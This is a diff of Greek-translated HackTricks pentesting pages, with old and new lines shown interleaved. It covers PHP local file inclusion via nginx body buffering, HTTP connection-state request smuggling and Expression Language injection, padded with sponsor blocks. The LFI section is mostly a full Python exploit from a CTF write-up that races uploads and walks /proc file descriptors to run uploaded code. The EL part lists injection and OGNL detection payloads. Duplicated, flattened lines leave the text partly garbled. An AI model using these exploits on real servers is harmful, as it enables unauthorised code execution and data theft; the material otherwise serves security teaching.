Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
@ -36,7 +37,7 @@
\`\`\`\`h\`
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Σημείωση: Δεν μπορεί κανείς να συμπεριλάβει απευθείας το \`/proc/34/fd/15\` σε αυτό το παράδειγμα, καθώς η λειτουργία \`include\` του PHP θα αναλύσει τη διαδρομή σε \`/var/lib/nginx/body/0000001368 (deleted)\` που δεν υπάρχει στο σύστημα αρχείων. Αυτό το μικρό περιορισμό μπορεί ευτυχώς να παρακαμφθεί με κάποια έμμεση ανακατεύθυνση όπως: \`/proc/self/fd/34/../../../34/fd/15\` που θα εκτελέσει τελικά το περιεχόμενο του διαγεγραμμένου αρχείου \`/var/lib/nginx/body/0000001368\` ## Πλήρης Εκμετάλλευση \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Σημείωση: Δεν μπορεί κανείς να συμπεριλάβει άμεσα \`/proc/34/fd/15\` σε αυτό το παράδειγμα καθώς η συνάρτηση \`include\` της PHP θα επιλύσει τη διαδρομή σε \`/var/lib/nginx/body/0000001368 (deleted)\` που δεν υπάρχει στο σύστημα αρχείων. Αυτή η μικρή περιοριστική μπορεί ευτυχώς να παρακαμφθεί με κάποια έμμεση αναφορά όπως: \`/proc/self/fd/34/../../../34/fd/15\` που θα εκτελέσει τελικά το περιεχόμενο του διαγραμμένου αρχείου \`/var/lib/nginx/body/0000001368\`. ## Πλήρης Εκμετάλλευση \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # εκμετάλλευση της τοπικής συμπερίληψης αρχείων PHP (LFI) μέσω της βοήθειας της προσωρινής αποθήκευσης σώματος πελάτη του nginx # δείτε https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ για λεπτομέρειες URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # βρείτε τις διαδικασίες εργαζομένων του nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] βρέθηκε εργαζόμενος nginx: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # ανεβάστε ένα μεγάλο σώμα πελάτη για να αναγκάσετε το nginx να δημιουργήσει ένα /var/lib/nginx/body/$X def uploader(): print('\[+] ξεκινώντας τον ανεβάστη') while not done: requests.get(URL, data=' //'
```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
@ -45,17 +46,17 @@ pass
```python
def send_payload_worker(requests_session): while True: send_payload(requests_session)
def send_payload_multiprocess(requests_session): # Χρησιμοποιήστε όλους τους επεξεργαστές για να στείλετε το φορτίο ως σώμα αιτήματος για το Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()
def send_payload_multiprocess(requests_session): # Χρησιμοποιήστε όλους τους επεξεργαστές για να στείλετε το payload ως σώμα αιτήματος για το Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()
def generate_random_path_prefix(nginx_pids): # Αυτή η μέθοδος δημιουργεί ένα μονοπάτι από τυχαίο αριθμό στοιχείων μονοπατιών ProcFS. Ένα δημιουργημένο μονοπάτι θα μοιάζει με /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def generate_random_path_prefix(nginx_pids): # Αυτή η μέθοδος δημιουργεί μια διαδρομή από τυχαίο αριθμό στοιχείων διαδρομής ProcFS. Μια παραγόμενη διαδρομή θα μοιάζει με /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Τα σημαιάκια μορφοποιούνται ως hxp{} if "hxp" in d: print("Βρέθηκε σημαία! ") print(d)
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Οι σημαίες είναι μορφοποιημένες ως hxp{} if "hxp" in d: print("Βρέθηκε σημαία! ") print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids): # Σάρωση Nginx FDs μεταξύ 10 - 45 σε ένα βρόχο. Καθώς τα αρχεία και τα sockets κλείνουν συνεχώς - είναι πολύ συνηθισμένο για το FD του σώματος αιτήματος να ανοίγει εντός αυτού του εύρους for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
def read_file_worker(requests_session, nginx_pid, nginx_pids): # Σαρώστε τα FDs του Nginx μεταξύ 10 - 45 σε βρόχο. Δεδομένου ότι τα αρχεία και οι υποδοχές κλείνουν συνεχώς - είναι πολύ συνηθισμένο για το FD του σώματος αιτήματος να ανοίγει εντός αυτού του εύρους for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()
if __name__ == "main": print('[DEBUG] Δημιουργία συνεδρίας αιτημάτων') requests_session = create_requests_session() print('[DEBUG] Λήψη αναγνωριστικών Nginx') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Αναγνωριστικά Nginx: {nginx_pids}') print('[DEBUG] Έναρξη αποστολής φορτίου') send_payload_multiprocess(requests_session) print('[DEBUG] Έναρξη αναγνωστών fd') read_file_multiprocess(requests_session, nginx_pids)
if **name** == "**main**": print('\[DEBUG] Δημιουργία συνεδρίας αιτημάτων') requests_session = create_requests_session() print('\[DEBUG] Λήψη pids του Nginx') nginx_pids = get_nginx_pids(requests_session) print(f'\[DEBUG] Pids του Nginx: {nginx_pids}') print('\[DEBUG] Έναρξη αποστολής payload') send_payload_multiprocess(requests_session) print('\[DEBUG] Έναρξη αναγνωστών fd') read_file_multiprocess(requests_session, nginx_pids)
```
```

View file

@ -1,24 +1,27 @@
# HTTP Σύνδεση Αιτήματος Λείανσης
# HTTP Connection Request Smuggling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) **ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην **ομάδα τηλεγράφημα** ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Αυτό είναι ένα σύνοψη της ανάρτησης** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
**Αυτό είναι μια περίληψη της ανάρτησης** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
## Επιθέσεις Κατάστασης Σύνδεσης <a href="#state" id="state"></a>
## Connection State Attacks <a href="#state" id="state"></a>
### Επικύρωση Πρώτου Αιτήματος
### First-request Validation
Κατά την δρομολόγηση αιτημάτων, οι αντίστροφοι διακομιστές ενδέχεται να εξαρτώνται από την **κεφαλίδα Host** για να προσδιορίσουν τον προορισμό του πίσω-άκρου διακομιστή, συχνά βασιζόμενοι σε μια λευκή λίστα των κεντρικών που επιτρέπονται πρόσβαση. Ωστόσο, υπάρχει μια ευπάθεια σε μερικούς διακομιστές όπου η λευκή λίστα επιβάλλεται μόνο στο αρχικό αίτημα σε μια σύνδεση. Ως εκ τούτου, οι επιτιθέμενοι θα μπορούσαν να εκμεταλλευτούν αυτό κάνοντας πρώτα ένα αίτημα σε ένα επιτρεπόμενο κεντρικό και στη συνέχεια ζητώντας ένα εσωτερικό site μέσω της ίδιας σύνδεσης:
Όταν δρομολογούνται αιτήματα, οι αντίστροφοι διακομιστές μεσολάβησης μπορεί να εξαρτώνται από την **κεφαλίδα Host** για να προσδιορίσουν τον προορισμό διακομιστή back-end, συχνά βασιζόμενοι σε μια λευκή λίστα φιλοξενουμένων που επιτρέπεται η πρόσβαση. Ωστόσο, υπάρχει μια ευπάθεια σε ορισμένους διακομιστές μεσολάβησης όπου η λευκή λίστα επιβάλλεται μόνο στην αρχική αίτηση σε μια σύνδεση. Ως εκ τούτου, οι επιτιθέμενοι θα μπορούσαν να εκμεταλλευτούν αυτό κάνοντας πρώτα μια αίτηση σε έναν επιτρεπόμενο διακομιστή και στη συνέχεια ζητώντας έναν εσωτερικό ιστότοπο μέσω της ίδιας σύνδεσης:
```
GET / HTTP/1.1
Host: [allowed-external-host]
@ -26,9 +29,9 @@ Host: [allowed-external-host]
GET / HTTP/1.1
Host: [internal-host]
```
### Πρώτο-αίτημα Δρομολόγησης
### First-request Routing
Σε μερικές διαμορφώσεις, ένας μπροστινός διακομιστής μπορεί να χρησιμοποιεί την **κεφαλίδα Host του πρώτου αιτήματος** για να προσδιορίσει τη δρομολόγηση προς τον πίσω μέρος για αυτό το αίτημα, και στη συνέχεια να δρομολογεί μόνιμα όλα τα επόμενα αιτήματα από την ίδια σύνδεση πελάτη προς την ίδια σύνδεση πίσω μέρος. Αυτό μπορεί να επιδειχθεί ως:
Σε ορισμένες ρυθμίσεις, ένας διακομιστής front-end μπορεί να χρησιμοποιήσει το **Host header της πρώτης αίτησης** για να καθορίσει τη δρομολόγηση back-end για αυτή την αίτηση, και στη συνέχεια να δρομολογήσει μόνιμα όλες τις επόμενες αιτήσεις από την ίδια σύνδεση πελάτη στην ίδια σύνδεση back-end. Αυτό μπορεί να αποδειχθεί ως:
```
GET / HTTP/1.1
Host: example.com
@ -36,20 +39,23 @@ Host: example.com
POST /pwreset HTTP/1.1
Host: psres.net
```
Αυτό το πρόβλημα μπορεί δυνητικά να συνδυαστεί με [επιθέσεις στην κεφαλίδα Host](https://portswigger.net/web-security/host-header), όπως η δηλητηρίαση επαναφοράς κωδικού πρόσβασης ή η [δηλητηρίαση της μνήμης cache](https://portswigger.net/web-security/web-cache-poisoning), για να εκμεταλλευτεί άλλες ευπαθείες ή να κερδίσει μη εξουσιοδοτημένη πρόσβαση σε επιπλέον εικονικούς hosts.
Αυτό το ζήτημα μπορεί δυνητικά να συνδυαστεί με [επιθέσεις κεφαλίδας Host](https://portswigger.net/web-security/host-header), όπως η δηλητηρίαση επαναφοράς κωδικού πρόσβασης ή [δηλητηρίαση web cache](https://portswigger.net/web-security/web-cache-poisoning), για να εκμεταλλευτεί άλλες ευπάθειες ή να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε επιπλέον εικονικούς διακομιστές.
{% hint style="info" %}
Για την αναγνώριση αυτών των ευπαθειών, μπορεί να χρησιμοποιηθεί η λειτουργία 'connection-state probe' στο HTTP Request Smuggler.
Για να εντοπιστούν αυτές οι ευπάθειες, μπορεί να χρησιμοποιηθεί η δυνατότητα 'connection-state probe' στο HTTP Request Smuggler.
{% endhint %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,62 +1,65 @@
# EL - Έκφραση Γλώσσας
# EL - Expression Language
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξει αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
---
***
## Βασικές Πληροφορίες
## Bsic Info
Η Έκφραση Γλώσσας (EL) είναι ουσιώδης στο JavaEE για τη γέφυρα μεταξύ του επιπέδου παρουσίασης (π.χ., ιστοσελίδες) και της λογικής εφαρμογής (π.χ., διαχειριζόμενα beans), επιτρέποντας την αλληλεπίδρασή τους. Χρησιμοποιείται κυρίως σε:
Η Expression Language (EL) είναι αναπόσπαστο μέρος του JavaEE για τη σύνδεση της παρουσίασης (π.χ., ιστοσελίδες) και της λογικής εφαρμογής (π.χ., managed beans), επιτρέποντας την αλληλεπίδρασή τους. Χρησιμοποιείται κυρίως σε:
- **JavaServer Faces (JSF)**: Για τη σύνδεση στοιχείων διεπαφής χρήστη με δεδομένα/ενέργειες πίσω από τη σκηνή.
- **JavaServer Pages (JSP)**: Για πρόσβαση και επεξεργασία δεδομένων μέσα σε σελίδες JSP.
- **Περιβάλλοντα Συμπεράσματος και Εξάρτησης για το Java EE (CDI)**: Για τη διευκόλυνση της αλληλεπίδρασης του επιπέδου ιστού με τα διαχειριζόμενα beans.
* **JavaServer Faces (JSF)**: Για τη σύνδεση των UI components με τα δεδομένα/ενέργειες του backend.
* **JavaServer Pages (JSP)**: Για πρόσβαση και χειρισμό δεδομένων μέσα σε JSP σελίδες.
* **Contexts and Dependency Injection for Java EE (CDI)**: Για τη διευκόλυνση της αλληλεπίδρασης της web layer με τα managed beans.
**Περιβάλλοντα Χρήσης**:
**Χρήση Contexts**:
- **Πλαίσιο Spring**: Εφαρμόζεται σε διάφορα modules όπως Security και Data.
- **Γενική Χρήση**: Μέσω του API SpEL από προγραμματιστές σε γλώσσες βασισμένες στο JVM όπως Java, Kotlin και Scala.
* **Spring Framework**: Εφαρμόζεται σε διάφορα modules όπως Security και Data.
* **Γενική Χρήση**: Μέσω του SpEL API από προγραμματιστές σε γλώσσες που βασίζονται σε JVM όπως Java, Kotlin και Scala.
Η EL είναι παρούσα σε τεχνολογίες JavaEE, αυτόνομα περιβάλλοντα και αναγνωρίζεται μέσω των επεκτάσεων αρχείων `.jsp` ή `.jsf`, σφαλμάτων στο σωρό και όρων όπως "Servlet" στις κεφαλίδες. Ωστόσο, τα χαρακτηριστικά της και η χρήση ορισμένων χαρακτήρων μπορεί να εξαρτώνται από την έκδοση.
Η EL είναι παρούσα σε τεχνολογίες JavaEE, αυτόνομες περιβάλλοντα και αναγνωρίζεται μέσω των επεκτάσεων αρχείων `.jsp` ή `.jsf`, σφαλμάτων στο stack και όρων όπως "Servlet" σε headers. Ωστόσο, τα χαρακτηριστικά της και η χρήση ορισμένων χαρακτήρων μπορεί να εξαρτώνται από την έκδοση.
{% hint style="info" %}
Ανάλογα με τη **έκδοση της EL** μερικά **χαρακτηριστικά** μπορεί να είναι **ενεργοποιημένα** ή **απενεργοποιημένα** και συνήθως μερικοί **χαρακτήρες** μπορεί να είναι **απαγορευμένοι**.
Ανάλογα με την **έκδοση EL** ορισμένα **χαρακτηριστικά** μπορεί να είναι **Ενεργά** ή **Ανενεργά** και συνήθως ορισμένοι **χαρακτήρες** μπορεί να είναι **μη επιτρεπτοί**.
{% endhint %}
## Βασικό Παράδειγμα
## Basic Example
(Μπορείτε να βρείτε ένα άλλο ενδιαφέρον εκπαιδευτικό φυλλάδιο σχετικά με την EL στο [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
(Μπορείτε να βρείτε ένα άλλο ενδιαφέρον tutorial για την EL στο [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
Κατεβάστε από το αποθετήριο [**Maven**](https://mvnrepository.com) τα αρχεία jar:
Κατεβάστε από το [**Maven**](https://mvnrepository.com) repository τα αρχεία jar:
* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`
Και δημιουργήστε το ακόλουθο αρχείο `Main.java`:
Και δημιουργήστε το παρακάτω αρχείο `Main.java`:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
@ -77,7 +80,7 @@ System.out.println(result);
}
}
```
Επόμενο βήμα είναι η συγχώνευση του κώδικα (αν δεν έχετε εγκατεστημένο το `javac`, εγκαταστήστε το `sudo apt install default-jdk`):
Στη συνέχεια, μεταγλωττίστε τον κώδικα (αν δεν έχετε εγκατεστημένο το `javac`, εγκαταστήστε το `sudo apt install default-jdk`):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
@ -88,11 +91,11 @@ Enter a String to evaluate:
{5*5}
[25]
```
Σημειώστε ότι στο προηγούμενο παράδειγμα ο όρος `{5*5}` **αξιολογήθηκε**.
Σημειώστε πώς στο προηγούμενο παράδειγμα ο όρος `{5*5}` **αξιολογήθηκε**.
## **Βασισμένο σε CVE Οδηγός**
## **CVE Based Tutorial**
Ελέγξτε το σε **αυτή την ανάρτηση: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
Ελέγξτε το **σε αυτήν την ανάρτηση:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Payloads
@ -120,9 +123,9 @@ Enter a String to evaluate:
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### Ανίχνευση
### Detection
* Ανίχνευση με το Burp
* Burp detection
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
@ -132,16 +135,16 @@ gk6q${"zkz".toString().replace("k", "x")}doap2
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* Κοιμηθείτε 10 δευτερόλεπτα
* Ύπνος 10 δευτερόλεπτα
```bash
